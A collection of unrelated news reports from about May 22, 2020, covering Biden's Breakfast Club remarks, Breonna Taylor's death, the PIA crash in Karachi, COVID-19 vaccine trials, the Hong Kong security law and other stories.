Others urged Biden to show that he values the voters that comprise the base of the Democratic Party, and will only win their votes if they feel his dialogue with them is genuine.

Joe Biden doesn't get to decide who is black, or what black voters want, or what women of color voters want. He can decide that the issues and concerns of black voters matter, and engage us in conversations that can ultimately turn the election, Aimee Allison the founder and president of She the People, a political network that aims to elevate women of color in politics, wrote in a statement provided to ABC News.

In an interview Friday afternoon, Sanders said that Biden was not taking any votes for granted.

If the question people have is does Vice President Biden believe that he has to earn the votes of black voters, of Latino voters, of young people, of progressive of women, of working class voters, of blue collar voters in this country? Absolutely, Sanders said on MSNBC.

Other experts say Bidens comments fundamentally misunderstand the lack of representation that has historically driven black voters to disengage from the political process.

Ultimately, the choice between Biden and Trump is not a choice between: if you're black, whether you're going to support a Republican, or if you're black, youre going to support a Democrat. Historically black voters tend to not engage at all, because neither of the choices really reflect their political desires or political goals and what they think is best for their community at the time. So in that sense...it's not so much offensive or even insulting, but just mis-recognizes the complexity and sophistication of black voters really at this point in time, Dr. Mark Anthony Neal, a professor of African and African American Studies at Duke University, told ABC News.

However, Neal said there remains a difference between how some black Americans may react to Bidens comments, and how many feel about the rhetoric and policymaking coming out of Donald Trumps White House.

The disconnect, when we think about the same kind of rhetoric coming from the White House at the moment, is that Donald Trump, other than lip service to black historical figures and certain black folks that he has a relationship with, he hasn't enacted policies that suggest he has the best interest of black folks, Neal said.

So its not so easy for some of [Trumps] more problematic statements to just roll off the backs of black folks in the way that Joe Biden is such a known entity and known for making the kind of comments that he made this morning, Neal added.

Throughout the interview with Charlamagne, Biden defended his involvement with the 1994 crime bill, an issue that he has faced intense scrutiny on throughout his third run for the presidency.

When asked why he was hesitant to acknowledge the negative impact the bill and other legislation had on communities of color, as Hillary Clinton did on the program in 2016, Biden pushed back.

She was wrong. What happened was, it wasn't the crime bill. It was the drug legislation. It was the institution of mandatory minimums, which I oppose, Biden shot back.

Biden was also asked about his current views on marijuana, and his advocating for decriminalization instead of legalization until more scientific studies are conducted about the long-term impacts of the drug.

"No one should be going to jail for a drug crime. Period," Biden said.

I think we got decades and decades of studies from actual weed smokers though, Charlamagne argued.

I know a lot of weed smokers, Biden replied.

Biden relied heavily on support from the African-American community throughout this years Democratic primary, especially among older black voters, who propelled him to a landslide victory in South Carolina that many credit with reviving his campaign.

I won overwhelmingly. I told you when I got to South Carolina. I won every single county. I won a larger share of the black vote than anybody has, including Barack [Obama], Biden said.

Biden won black voters in the South Carolina primary in February by 44 points over the second place finisher in the contest, Sen. Bernie Sanders, I-Vt, according to exit polls.

The former vice president will likely need to turn out black voters this fall at higher rates than were seen in 2016, when Hillary Clinton narrowly lost to Trump.

A poll conducted this week by Quinnipiac University showed Biden with a 78-point lead with African-American voters over Trump.

In 2016, Trump carried just 8% of the black vote according to exit polls after making a stark and unorthodox pitch to them during one campaign event in the battleground state of Michigan.

"You're living in poverty, your schools are no good, you have no jobs, 58% of your youth is unemployed -- what the hell do you have to lose?" Trump said in an off the cuff comment during an August 2016 rally in Dimondale, Michigan.

(MORE: Biden hires Chavez granddaughter to help on Latino outreach)

During his interview on The Breakfast Club on Friday, Biden was also asked about who he is planning to vet to be his vice presidential running mate, and while he did not offer any specific names, he committed that there are multiple black women that are in the running.

I'm not acknowledging anybody who is being considered but I guarantee you, there are multiple black women being considered. Multiple, Biden said.

Several prominent African-American lawmakers, nearly all of whom have backed Bidens bid including House Majority Whip Jim Clyburn, D-S.C., Civil Rights icon and Georgia Rep. John Lewis, D-Ga. and Reverend Al Sharpton, have urged Biden to strongly consider choosing a woman of color to round out the presidential ticket.

I think Vice President Biden should look around. It would be good to have a woman of color...It would be good to have a woman, who looks like the rest of America, Lewis told reporters in early April.

ABC News' Will Steakin and Rachel Scott contributed to this report

Biden on comment to black radio host: 'I shouldn't have been such a wise guy' originally appeared on abcnews.go.com
(Newser)  The fatal shooting of a black EMT as she slept in her Louisville, Ky., home will be investigated by the FBI. The bureau announced Thursday that it has opened a probe into Breonna Taylor's death, the New York Times reports. The 26-year-old was killed in March during a narcotics raid on her address, despite the fact that the suspect did not live there. Also Thursday, the city's mayor said the police chief will retire at the end of June and that any future "no knock" search warrants will require approval from both the police chief and a judge. "The FBI will collect all available facts and evidence and will ensure that the investigation is conducted in a fair, thorough and impartial manner," the bureau's Louisville field office says in a statement.

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Meanwhile, the attorney for Taylor's boyfriend Kenneth Walker, who police say fired at them when they forced their way inside, will file to dismiss the attempted murder charge levied against Walker, WAVE-3 reports. "The picture presented to the grand jury completely mischaracterizes the events that took place at Ms. Taylors apartment that resulted in Ms. Taylors death," his lawyer says in a filing. "In fact, they completely omit the existence of Ms. Taylor at all. The grand jury was not told that the police shot and killed Ms. Taylor while trying to enter her apartment, nor was the grand jury told that Mr. Walker never stated that he knew that he fired a shot at police officers." The attorney says Walker had no idea who had entered the home. (Read more Breonna Taylor stories.)
Many Japanese local municipalities are struggling to distribute the universal A100,000 coronavirus cash relief due to a heavy workload resulting from handling online applications.

About 97 percent of Japanas municipal offices started accepting applications online, but the distribution of the handout has started in less than 60 percent of them, according to the internal affairs ministry.

At local municipalities, officials are giving up holidays in the hope of delivering as quickly as possible the one-time cash relief to all residents, a key measure by the central government to tackle the COVID-19 fallout.

Applications are accepted online via the governmentas Mynaportal website or by mail. Local authorities are responsible for distributing the money to residents.

But officials are having trouble with checking information provided online against that included in the basic resident register. It takes time because there is no computer system to do it all at once.

They are also struggling with many mistakes. For instance, they may come across an application by a person who is not the head of a household and is requesting relief for somebody who lives with the applicant but is a member of a different household.

Tokyoas Shinagawa Ward has received some 11,600 applications. But payment procedures have been completed for only 680 cases as officials had to correct mistakes one by one.
A Pakistan International Airlines (PIA) flight on its way from Lahore to Karachi, crashed in the area near Jinnah International Airport on Friday, according to Civil Aviation Authority officials.

Geo News reported that the plane crashed at the Jinnah Ground area near the airport as it was approaching for landing. There were more than 90 passengers on board the Airbus aircraft. Black smoke could be seen from afar at the crash site, say eye-witnesses.

There were no immediate reports on the number of casualties. The aircraft arriving from the eastern city of Lahore was carrying 99 passengers and 8 crew members, news agency AP said, quoting Abdul Sattar Kokhar, spokesman for the countrys civil aviation authority.

Watch: Pakistan Airlines plane with 98 on board crashes, rescue ops underway

Witnesses said the Airbus A320 appeared to attempt to land two or three times before crashing in a residential area near Jinnah International Airport.

Flight PK-303 from Lahore was about to land in Karachi when it crashed at the Jinnah Garden area near Model Colony in Malir, just a minute before its landing, Geo News reported.

Local television reports showed smoke coming from the direction of the airport. Ambulances were on their way to the airport.

News agency PTI said Sindhs Ministry of Health and Population Welfare has declared emergency in all major hospitals of Karachi due to the plane crash.

Its the second plane crash for Pakistani carrier in less than four years. The airlines chairman resigned in late 2016, less than a week after the crash of an ATR-42 aircraft killed 47 people. The incident comes as Pakistan was slowly resuming domestic flights in the wake of the coronavirus pandemic, Bloomberg reported.

(With agency inputs)
[May 22, 2020] Boston-Based Fintech Startup Airfox Acquired by Brazilian Retail Giant Via Varejo

Boston-based fintech startup Airfox is joining Via Varejo, the largest retailer in Brazil serving 60 million customers through popular nationwide retail chains Casas Bahia and PontoFrio. Publicly held Via Varejo is acquiring Airfox for an undisclosed amount. Airfox will continue to serve as a fintech innovation hub out of its current Boston-based headquarters, leveraging Via Varejo infrastructure to accelerate its mission of bringing more accessible financial services to the underbanked in Latin America. Under the leadership of co-founder Victor Santos, Airfox has assembled an incredible collection of experienced financial and mobile industry veterans across offices spanning two continents. The Airfox team built and launched its free banQi digital "neobank" banking app in strategic partnership with Via Varejo in September 2018. banQi's streamlined mobile platform extends transparent, no-cost digital transaction capabilities and access to banking services through thousands of Via Varejo retail locations in neighborhoods throughout Brazil with features for buying goods, paying bills, topping up cell phones, recharging public transit cards, and more. Designed to serve Brazil's enormous population of consumers lacking traditional bank accounts or access to credit, banQi was named Best Consumer Bank and Best Mobile App in Brazil in World Finance Magazine's 2019 Digital Banking Awards. Airfox was also honored as a finalist in the 2020 SXSW Innovation Awards and Fast Company's World Changing Ideas Awards. The company secured strategic partnerships with major companies such as MasterCard (News - Alert) in 2019 and banQi has experienced rapid and impressive growth, further escalated by current pandemic conditions and consumer need for digital solutions that support physical distancing. "In the first quarter of this year, we achieved a 100% increase in new banQi accounts," said Andre Calabro, financial director of Via Varejo. "e marked 1 million downloads of the banQi app, and saw a 300% increase in use of bill payments and 117% increase in use for Casas Bahia CDC carnes, which are in-store loans used to purchase large-ticket items like furniture, electronics, and appliances." Via Varejo issues hundreds of thousands of new CDCs each month.



Andre Calabro will take on the mantle of Airfox and banQi CEO as Victor Santos transitions to his new role as Chief Strategy Officer, where he will spearhead product, corporate strategy, and engineering. The acquisition will speed further banQi integration into Via Varejo store operations and distribution channels, and support continuing financial technology innovation from Airfox's Boston development team. "I'm incredibly proud of what Airfox has accomplished so quickly and forever grateful to our ingenious and dedicated team members for all their hard work," said Santos. "With Via Varejo's support, we'll continue to lead the charge in leveraging today's technology for tomorrow's solutions and securing greater financial inclusion for all." Airfox is currently hiring for several roles in both Boston and in Sao Paulo. The tech hub will continue towards its goal to become a household name in consumer tech companies in Boston after relocating from Silicon Valley to Boston in 2016.

About Airfox Founded in 2016, Airfox's mission is to accelerate financial inclusion. Under the brand name banQi, Airfox developed an affordable, easy-to-use, transparent, and empathic digital financial services hub for underserved Brazilians and their families to manage, save, and build their wealth and financial life. Unlike incumbent banks and other fintechs, banQi is a neobank that provides users with a complete digital banking experience and a physical network of branches in Via Varejo's trusted retail locations. Users are able to create a free mobile bank account in minutes. To learn more, visit www.airfox.com. About Via Varejo With more than 60 years of history and tradition in the consumer electronics and furniture markets, Via Varejo operates iconic brands for Brazilian consumers through retail chains Casas Bahia, Pontofrio, and Bartira. With nearly 1,000 physical and virtual stores, 26 distribution centers, and a database of more than 60 million Brazilians consumers, Via Varejo's 50 thousand employees are motivated by the recognition that everything they do, every day, contributes to accomplishing the dreams of all the people they serve. For more information, visit ri.viavarejo.com.br/en/. View source version on businesswire.com: https://www.businesswire.com/news/home/20200522005034/en/

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A map of the Isberg Trails/Recreation Area shows the two parcels of land that the Interior Alaska Land Trust is hoping to acquire, along with the trails at risk, which are indicated with red-dotted lines.
CALGARY - The owner of the Ekati diamond mine is proposing a transaction that would allow it to exit court protection from creditors, provide operating funds and eventually restart the suspended Northwest Territories mine.

Hey there, time traveller!

This article was published 22/5/2020 (607 days ago), so information in it may no longer be current.

Heavy haulers move rock out of the Diavik diamond mine pit on the shore of Lac de Gras, approximately 300 kilometres northeast of Yellowknife, N.W.T. Saturday, July 19, 2003. The owner of Canada's first diamond mine has proposed a transaction that would allow it to exit court protection from creditors, provide short-term operating funds and allow it to restart the suspended Ekati mine. THE CANADIAN PRESS/Adrian Wyld

CALGARY - The owner of the Ekati diamond mine is proposing a transaction that would allow it to exit court protection from creditors, provide operating funds and eventually restart the suspended Northwest Territories mine.

Dominion Diamond Mines ULC announced Friday it has signed a letter of intent with an affiliate of The Washington Companies under which an entity to be managed by Washington would buy its assets for about $177 million while assuming its operating liabilities.

Under the deal, which requires court approval, Washington would also provide Dominion with up to $84 million in short-term debtor-in-possession financing.

Operations at Ekati have been suspended since March to prevent spread of the COVID-19 pandemic.

The virus's negative impact on diamond transport and marketing was also cited by the company in its court filing for Companies' Creditors Arrangement Act protection in April.

"The Washington Companies' proposal is to acquire Dominion's assets and operating liabilities out of the CCAA process, with a substantially restructured balance sheet and new arrangements with its creditors, vendors and other stakeholders," said Dominion spokeswoman Rebecca Hurl in an email.

"This restructured company would be better-positioned for the future. The proceeds of the sale would go to Dominion's existing creditors, cover certain charges approved by the court and provide ongoing liquidity for Dominion through the CCAA process."

The Washington Companies, a Montana-based group of privately held companies, bought Dominion for US$1.2 billion in 2017.

The acquisition offer would serve as a base bid for the assets under a court-supervised bidding process to win the highest or best offer, including an auction if necessary, Dominion said.

The sale process would be expected to close in the coming 90 to 120 days, it added.

Dominion also owns 40 per cent of the Diavik mine operated by Rio Tinto, located near Ekati about 300 kilometres northeast of Yellowknife.

The proposed sale would be conditional on reaching an agreement with Rio Tinto on the Diavik joint venture, it said.

Failing that, the assets being sold could exclude the Diavik interest.

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In an affidavit filed with the Alberta Court of Queen's Bench in April, Dominion chief financial officer Krystal Kaye said the pandemic has had a "devastating impact" on the global diamond mining industry.

Travel and business lockdowns were felt most keenly in India, where most of the world's rough diamonds are sorted, cut and polished; in Antwerp, Belgium, where they're sold; and the United States, the top buyer of diamonds for retail sale, she said.

Dominion's high debt levels made it impossible for the company to continue its business as usual, Kaye said in the filing.

Dominion had revenue from diamond sales of about US$528 million in 2019, the affidavit said, but the shutdowns in India and Belgium had trapped diamond inventory from Ekati and Diavik with book value of about US$180 million.

According to the affidavit, Dominion is one of the two largest non-governmental employers in the Northwest Territories, with about 40 per cent of its 634 Canadian employees being northern residents and 60 per cent of those people being Indigenous people. It also employed 425 contract workers in 2019.

This report by The Canadian Press was first published May 22, 2020.
For our free coronavirus pandemic coverage, learn more here.

Save Log in , register or subscribe to save articles for later. Normal text size Larger text size Very large text size How long can you hold your breath? Thirty seconds? A minute? The world record, according to the venerable Guinness organisation, is a shade over 24 minutes. Can you hold your breath for six months? That is the position that many businesses on the Queensland-NSW border say they find themselves in, as a political battle rages over freedom of movement in the time of a pandemic. Winter is actually peak season for this community, but interstate visitors are being held at bay due to border closures. Credit:Isabella Porras The latest skirmish was sparked when NSW Premier Gladys Berejiklian this week called for Queensland to consider opening its borders to help stimulate the nations economy. For Australia to really move forward as a nation during this very difficult economic time as well as difficult health time, we do need our borders down, she said. But Queensland Premier Annastacia Palaszczuk was having none of it, responding to Ms Berejiklians calls by telling her southern counterpart to get her own house in order before issuing demands.

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Were not going to be lectured to by a state that has the highest numbers [of virus cases] in Australia, Ms Palaszczuk said. Ms Palaszczuk has also come under fire for seeming to extend the deadline for when border restrictions would be lifted from July to September. Deputy Chief Medical Officer Paul Kelly said this week there was no medical reason to keep state borders closed to domestic travel. The Queensland Premier had never given a firm date for reopening and had always said the closures would be reviewed on a monthly basis, but pointed to the start of stage three easings in July as a possible date for reopening. Queensland Premier Annastacia Palaszczuk and NSW Premier Gladys Berejiklian have fought a war of words over state borders this week. Credit:AAP and Peter Braig That was dashed this week when the Premier and her Chief Medical Officer, Dr Jeannette Young, both clarified that September was a far more likely option because they wanted two full 14-day virus incubation periods back-to-back with no or very low numbers of new cases in NSW. As the war of words escalates, those on the frontline are feeling the pinch the hardest.

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The area around the suburbs of Coolangatta, on the Queensland side of the border, and Tweed Heads, on the NSW side, has long been considered one community, with the local resort famously called Twin Towns in honour of the arrangement. The decision by the Queensland government to close its domestic borders in March due to concerns about the spread of coronavirus drove a wedge into this tight-knit community. Many people live on one side of the border and work on the other, or have family on the other side of the border from their home. Even a trip to the local coffee shop can involve crossing the state line. Many businesses in the area, like this strip of shops in Coolangatta, remain shuttered, despite being allowed to have 10 people inside at a time. Credit:Isabella Porras Hilary Jacobs, president of The Greater Southern Gold Coast Chamber of Commerce, says many businesses rely on southern visitors during the winter months, and had been hoping restrictions would be eased in the near future. These people cant hold their breath until September, she said. Ms Jacobs says more than many other parts of the Gold Coast, the Coolangatta-Tweed Heads community sees an influx of southern tourists during the winter months, fleeing their chilly home conditions for the sunshine of southeast Queensland.

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From the June long weekend right through to October there are masses of people who regularly visit from interstate, and they become part of our community, she said. They dont just spend a weekend, they can spend months up here. We need them  if they dont come this year we are really going to be facing a disaster. Accommodation is a massive industry for a tourist strip such as the Gold Coast, and Coolangatta is no exception. Maggie Best, co-manager of Meridian Tower Hotel. Credit:Isabella Porras Maggie Best is the co-manager of the Meridian Tower resort, a typical residential tower in the area with around half its population permanent residents and the other half visitors from interstate. Ms Best said crucially, Ms Palaszczuks call this week for Queenslanders to pick up the slack of their interstate counterparts would likely not work, as people from southeast Queensland tended to go to more built up parts of the coast such as Surfers Paradise or more established outer areas such as Burleigh. Winter we are usually fully booked every year. We get lots of Victorians, Tasmanians, a few people from Sydney and even a few from New Zealand, she said.

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And a lot of them, when they leave they make a booking straight away for next year. So winter is our prime period. Ms Best said the building couldnt just shut down for several months to wait out the pandemic, both because of its residents who needed the lights kept on and the logistics of having to keep maintaining the property over the period. She said they had been preparing for an influx of visitors from July, but the recent comments about September being the more likely reopening target meant they would likely lose the winter season completely. Queensland border permits are a regular sighting at Coolangatta and Tweed Heads. Credit:Isabella Porras If we dont have this winter [season] were screwed. We didnt have school holidays, we didnt have Easter, we didnt have the surf comp [the Roxy Pro, which is held at Coolangatta annually, except for this year when it was cancelled], she said. So we missed all of that, and now were going to miss another school holiday if the Premier doesnt open the border in July. Weve taken our lumps so far and hoped for a reopening, but if we miss this winter, we might as well pack it in.

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LONDON, May 22 (Reuters) - Britain expects China to respect the rights and freedoms of Hong Kong and is committed to ensuring the autonomy of the global financial hub, Prime Minister Boris Johnson's spokesman said on Friday.

Beijing has proposed new national security legislation that could see mainland intelligence agencies set up bases in Hong Kong with enforcement powers that foreign diplomats fear could potentially put rights and freedoms at risk.

"We are monitoring the situation closely and expect China to respect Hong Kong's rights and freedoms and high degree of autonomy. As a party to the joint declaration, the UK is committed to upholding Hong Kong's autonomy and respecting the one country, two systems model," Johnson's spokesman said. (Reporting by Elizabeth Piper, writing by Michael Holden;editing by Stephen Addison)
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Nairobi, May 22, 2020  Ethiopian police should immediately and unconditionally free journalists Dessu Dulla and Wako Nole and media worker Ismael Abdulrzaq, the Committee to Protect Journalists said today.

On March 7, police in the town of Burayu, on the outskirts of the capital Addis Ababa, arrested Dessu, a deputy director at the privately owned Oromia News Network broadcaster, Wako, who contributes to the network and also reports for the radio broadcaster Sagalee Bilisummaa Oromoo, and Ismael, a driver for the station, according to the networks chairperson, Buli Edjeta Jobir, and CPJ reporting from the time.

On March 30, a court in Burayu ordered the three employees release after prosecutors said they could not make a case against them, according to Buli and their lawyer, Mulisa Ejetaa, both of whom spoke to CPJ in phone calls and via messaging app.

However, as of today, the three remain in detention, in violation of court orders issued in March, April, and May, while police claim to be investigating unspecified allegations against them, according to Mulisa, Buli, and an April 21 court document seen by CPJ.

The Oromia News Network, which operated in exile until 2018, primarily covers politics and is targeted at an Afaan Oromo-speaking audience; Sagalee Bilisummaa Oromoo, which broadcasts some of its programming on the news network, hosts programming that is supportive of the Oromo Liberation Front opposition party and also covers regional news, according to CPJs reporting.

The detention of Dessu Dulla, Wako Nole, and Ismael Abdulrzaq, even after prosecutors said they had no case against them, and in defiance of court orders, is an unacceptable violation of their rights of due process, CPJs sub-Saharan Africa representative, Muthoki Mumo. They should be released unconditionally, and those responsible for infringing their rights should be held to account.

The three network employees were arrested alongside two members of the Oromo Liberation Front, Gada Gabbisa and Batire File, shortly after they visited Abdi Regassa, a member of the partys leadership, who was detained at a Burayu police station, according to Buli, who was also at the station at the time, and CPJs reporting from March.

The network employees knew Abdi personally and also intended to file news reports about their visit, according to Buli, who said that Ismael is also a member of the party. Police initially accused the three of illegally photographing the police station, and claimed that Ismael had intentionally involved himself in a minor traffic accident with the intention of killing the officers who arrested them, Buli said.

After the police ignored the Burayu courts release order on March 30, Mulisa filed a habeas corpus application on April 6, and police were ordered to produce the detainees in court, according to Buli and Mulisa. When they did not do so, a subsequent release order was issued on April 8, Buli said.

Police produced Ismael in court on April 9, but then returned him to custody and, in the weeks since, police have not complied with several subsequent orders to produce the detainees in court and to release them, Buli and Mulisa said.

In the April 21 court document reviewed by CPJ, the court said police did not comply with orders, failed to produce defendants when requested, and did not provide evidence for their case. The court ordered the officers to provide an explanation during an April 23 hearing, but they did not appear in court, Buli said.

On May 13, Burayu police said that Dessu, Wako, and Ismael had been transferred out of their custody, according to Buli and Mulisa. As of May 22, they were being held at a police station in Gelan, a town south of Addis Ababa, according to Buli and another source who is familiar with the case but asked not to be named for safety concerns, both of whom said the police did not disclose a reason for the transfer.

In a phone call last week, Oromia regional government spokesperson Getachew Balcha declined to respond to questions on the case, and referred CPJ to the regional attorney general, Daniel Asefa.

On May 14, Daniel told CPJ via phone that his office was investigating why the journalists were being detained. Today, he said that his offices inquiry was still ongoing and he could not yet provide comment.

In a text message, Abebe Geresu, the deputy head of Oromias Peace and Security bureau, told CPJ that he did not know about these cases.

When Jibril Mohamed, head of the Oromia Peace and Security Bureau, was reached on the phone this afternoon, he said he could provide CPJ with comment in two hours. He did not answer subsequent calls.
LONDON (AP) - British researchers testing an experimental vaccine against the new coronavirus are moving into advanced studies and aim to immunize more than 10,000 people to determine if the shot works.

Fridays announcement came as Chinese scientists who are developing a similar vaccine reported promising results from their own first-step testing, seeing hoped-for immune reactions and no serious side effects in 108 vaccinated people.

Last month, Oxford University researchers began vaccinating more than 1,000 volunteers in a preliminary study designed to test the shots safety. Those results arent in yet but the Oxford team announced theyre expanding to 10,260 people across Britain, including older people and children.

If all goes smoothly, "it's possible as early as the autumn or toward the end of the year, you could have results that allowed use of the vaccine on a wider scale," predicted Andrew Pollard, head of the Oxford Vaccine Group.

But Pollard acknowledged there were still many challenges ahead, including how long it will take to prove the vaccine works - particularly since transmission has dropped significantly in Britain - and any potential manufacturing complications.

The Oxford shot is one of about a dozen experimental COVID-19 vaccines in early stages of human testing or poised to start, mostly in China, the U.S. and Europe. Scientists have never created vaccines from scratch this fast and its far from clear that any will ultimately prove safe and effective.

FILE - In this Thursday, Feb. 20, 2020 file photo, a view of the AstraZeneca logo, on a building, in South San Francisco, Calif. Drug maker AstraZeneca secured its first agreements Thursday, May 21, 2020 for 400 million doses of a COVID-19 vaccine, bolstered by an investment from the U.S. vaccine agency. (AP Photo/Jeff Chiu, File)

Moving on to such a huge late-scale test doesn't guarantee Oxford will reach the finish line, either. Pollard couldn't provide any data from the first tests, but said an oversight board hasn't seen any indications of worrisome side effects.

A small study in monkeys offers a note of caution: Teams from Oxford and the U.S. National Institutes of Health found the vaccine protected against pneumonia but didn't eliminate the coronavirus in the nose. Pollard said it was still an open question whether the shot could make a dent in how the disease spreads.

Likewise, Friday's report about a similar vaccine being developed by China's CanSino Biologics couldn't address how protective the shot might be. All 108 test participants were quarantined in a hotel for 14 days after vaccination, to ensure they weren't exposed to the coronavirus during a study meant to track safety.

Most volunteers reported at least one reaction typical for vaccines such as pain at the injection site, fever or fatigue. But there were no serious side effects, researchers reported in the journal Lancet. A month after vaccination, researchers spotted important immune responses including antibodies needed to block infection. But those responses were lower in the small number of volunteers ages 45 to 60, the oldest tested.

"The ability to trigger these immune responses does not necessarily indicate that the vaccine will protect humans from COVID-19," lead researcher Wei Chen from the Beijing Institute of Biotechnology said in a statement provided by Lancet.

"This result shows a promising vision for the development of COVID-19 vaccines, but we are still a long way from this vaccine being available to all," Chen said.

Both the CanSino and Oxford vaccines are made in a similar way: They use a harmless virus to carry genes for the "spike" protein that coats the coronavirus into the body, priming the immune system to react if the real infection comes along.

CanSino uses a weakened common cold virus called an adenovirus - and Friday's study showed people whose bodies recognized that cold virus didn't get as much of the presumed COVID-19 benefit. To avoid that problem, the Oxford vaccine uses an adenovirus that normally infects chimpanzees.

CanSino is awaiting results from 500 volunteers injected in a next-step study. In Britain's soon-to-begin larger tests, researchers will address how Oxford's shot will affect older adults, who are at high risk from COVID-19. Pollard noted that people over 70 often don't get as much protection from vaccines as younger people.

Earlier this week, drugmaker AstraZeneca said it had secured its first agreements to produce 400 million doses of the Oxford-developed vaccine, bolstered by a $1 billion investment from a U.S. government agency.

The AstraZeneca investment hopefully will make the vaccine available globally, including in developing countries, said Lawrence Young of the University of Warwick. But he cautioned the shot's effectiveness still is unclear, citing the monkey research.

"This raises serious questions about the ability of this vaccine to protect against infection in humans and to prevent virus transmission," he said in a statement. "We need to be urgently exploring other vaccine candidates."

Often, possible vaccines that look promising early fail after testing expands to thousands of people - one reason the crowded field is important. Many of the candidates work in different ways, and are made with different technologies, increasing the odds that at least one approach might succeed.

Other leading candidates - including one from the NIH and Moderna Inc., and another by Inovio Pharmaceuticals - simply inject a piece of the coronavirus genetic code that instructs the body itself to produce spike protein that primes the immune system.

Meanwhile, companies and governments are beginning to scale up production now, aiming for hundreds of millions of doses of the candidates they think might win the vaccine race.

Its a huge gamble that could waste a lot of money if their choices fail and must be thrown away. But if they get lucky and a stockpiled vaccine pans out, it could help mass vaccinations start a few months faster.

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Neergaard reported from Alexandria, Virginia.

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The Associated Press Health and Science Department receives support from the Howard Hughes Medical Institutes Department of Science Education. The AP is solely responsible for all content.

Office workers wearing face masks to help curb the spread of the coronavirus head to worlplaces in Bangkok, Thailand, Thursday, May 21, 2020. Thai health officials say scientists in Thailand have had promising results in testing a COVID-19 vaccine candidate on mice, and will begin testing it on monkeys next week.(AP Photo/Sakchai Lalit)
As local communities continue to feel the impacts of COVID-19, many area residents are also facing more challenges created by rising lake levels.

The U.S. Army Corps of Engineers, Detroit District, projects water levels in the Great Lakes to peak very near last years record levels, which caused flooding issues in many local communities. Those impacted by high water in 2019 are urged to prepare for similar or higher levels this year.

Residents along Anchor Bay and the St. Clair River are again seeing floodwaters creep onto their streets and properties. Roads in Chesterfield Township near Lake St. Clair were also recently flooded after persistent rainfall.

The National Weather Service has issued multiple lakeshore flood warnings for the area in recent days as water levels remained steady due to continued runoff from heavy rainfall. Significant lakeshore flooding was expected to close numerous roads and inundate low-lying property near the lake, including parking lots, lawns, homes and businesses.

During this period of seasonal rise for the Great Lakes, near or above record high water levels will continue to cause impacts along the shoreline, John Allis, chief of the Great Lakes Hydraulics and Hydrology Office, Detroit District, said in a news release.

Seasonal rise usually occurs in the Great Lakes in the spring due to increased rainfall and runoff. In March, Lake St. Clair broke a 34-year-old monthly mean water level record.

Significant erosion also continues in many locations as water levels remain high, according to the USACE. Strong storm systems and resulting large waves have led to substantial erosion along much of the Great Lakes coastline.

Local waterfront communities arent the only ones facing flooding. A historic flood event in central Michigan May 19 forced thousands of residents to leave their homes after floodwaters breached two dams along the Tittabawassee River.

To help improve drainage and avoid potential pump station failures, local officials have also been advising residents to remove trash and debris from their properties, especially from drain easements and ditches.

Many local communities, including Chesterfield Township and New Baltimore, are offering sand and sandbags to residents looking to protect their properties from floodwaters.

The New Baltimore Parks and Recreation Department announced May 21 the beach at Walter and Mary Burke Park will be closed until further notice. Additionally, all city park facilities, including pavilions and park bathrooms, will remain closed. Those enjoying permitted recreational activities at city parks are advised to follow proper social distancing guidelines.

For more information about Great Lakes water levels, go to lre.usace.army.mil.

Katelyn Larese is a Local News Editor at The Voice. She can be contacted at 586-273-6196 or klarese@medianewsgroup.com.
The Pennsylvania Department of Corrections is preparing to reopen its prisons as the rest of society eases out of restrictions from the coronavirus pandemic.

For those behind bars, that means more inmates will be allowed out of their cells at the same time and they wont have to stay locked up and isolated during programs and religious services, Corrections Secretary John Wetzel said Friday.

Social distancing will still be enforced, he said, and everyone will have to wear masks.

Wetzel said the relaxation of the COVID-19 restrictions will mirror what is going on outside the razor wire. It will follow the same phased-in approach Gov. Wolf is applying as counties transition through his red-yellow-green process toward normalcy.

The prison systems process will have five levels and will be governed partly by the color phase of the county where each prison is located and by the results of testing for COVID-19 inside the lockups, Wetzel said.

While we may never return to pre-COVID operations, we do expect to return to near normal operations that includes social distancing and continued monitoring of staff and inmates for symptoms, Wetzel said. We believe in acting quickly and aggressively when responding to this virus, while affording more out-of-cell time and allowing inmates to return to work, education, programing and activities.

Starting Tuesday, the prisons at Camp Hill, Chester, Coal Township, Dallas, Frackville, Huntingdon, Mahanoy, Phoenix, Retreat, Smithfield and Waymart will ease to Level 4 on the corrections departments scale. That same day, lesser Level 3 restrictions will take effect for the prisons at Albion, Benner Township, Cambridge Springs, Fayette, Forest, Greene, Houtzdale, Laurel Highlands, Mercer, Muncy, Pine Grove, Quehanna, Rockview and Somerset.

Wetzel said employee enhanced screening will continue and that both staff and inmates will be required to wear masks. Contact visits remain suspended through all levels until the entire state is green, he said.
At 12:58 p.m. Tuesday, a Hobart officer responded to a report of several people fighting at Dicks Sporting Goods at the mall. When the officer arrived, he saw four women exiting the main entrance and walking east through the parking lot.

When he went inside the store, a woman who had a bloody nose told him, Those four out there jumped me. Another officer arriving on scene shortly after stopped the four women to speak with them.

Before the fight, the injured woman and her fiance were getting ready to leave and started walking toward the exit. She then accidentally bumped into another woman, who instantly became irate and began shouting obscenities toward the couple, the police report said.

The couple continued to walk to the store exit and the man turned to throw a drink toward the woman and three other women who were also verbally berating the couple. None of them were struck, police said.

The group continued to follow the couple, and one of them charged the woman and punched her in the nose, police said. The other women in the group joined in, allegedly punching the woman and pulling her hair.
National security law in HK may be completed within half year: experts

Global Times

By GT staff reporters Source:Global Times Published: 2020/5/21 21:45:16

Move demonstrates central government's determination to crackdown secessionism, subversion

After a preparatory meeting for the third session of the 13th National People's Congress (NPC), Zhang Yesui, spokesperson of the NPC, announced a new agenda and arrangements for the national security law to be implemented in the Hong Kong Special Administrative Region (HKSAR).

The proposed legislation indicates the central government's firm determination to fix the loopholes within the legislative system of the HKSAR while intervention and stigmatization from external forces and local separatists continue to erode the foundation of the South China city, deputies and members to the two sessions told the Global Times. And this also shows that the central government would safeguard China's core interests at all costs.

The move came after a growing number of Hong Kong deputies and members to the 2020 two sessions - the country's most important annual political event - called for the passing of national security legislation in the Special Administrative Region (SAR) as the city has become the latest battleground for secessionist forces, following the months-long turmoil in 2019. Passing the law has become an urgent task for both the central government and the HKSAR government.

The 3rd session of 13th NPC will deliberate the bill put forward by the NPC Standing Committee on reviewing a draft decision of the NPC on establishing and improving the legal system and enforcement mechanisms for the HKSAR to safeguard national security. It would take effect by being included in Annex III of the Basic Law, as some Hong Kong media outlets have anticipated, which needs no approval by Hong Kong's Legislative Council.

The fourth plenary session of the 19th CPC Central Committee proposed the improvement of the legal system and implementation mechanism for the special administrative regions to safeguard national security, Zhang Yesui, spokesperson of the NPC, told a press conference on Thursday night, noting that the HKSAR is an inseparable part of the People's Republic of China, and the NPC is the highest authority in the country.

